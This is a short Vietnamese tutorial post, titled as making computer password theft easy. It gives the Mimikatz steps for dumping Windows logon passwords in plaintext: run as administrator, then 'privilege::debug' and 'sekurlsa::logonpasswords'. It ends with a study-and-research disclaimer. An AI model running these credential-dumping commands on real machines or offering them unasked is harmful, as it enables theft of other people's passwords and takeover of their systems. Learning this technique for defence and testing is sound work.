Lấy cắp mật khẩu máy tính thật dễ dàng

Mimikatz là một opensource khai thác các lỗ hổng để xem các thông tin bảo mật của Windows như mật khẩu, mã PIN…
Các virus thường mang theo công cụ này để đánh cắp thêm các thông tin bảo mật của máy để phục vụ quá trình điều khiển, kiểm soát máy tính một cách mạnh mẽ nhất.

• B0: Chạy mimikatz.exe với quyền Admin
• B1: Trên giao diện của minikatz gõ lệnh để bắt đầu chế độ debug tiến trình của hệ thống: privilege::debug
• B2: Tiếp theo chạy lệnh để lấy password của máy: sekurlsa::logonpasswords

=> Kết quả sau khi chạy lệnh là lấy được cả plaintext của password
Bài viết phục vụ mục đích học tập và nghiên cứu!!!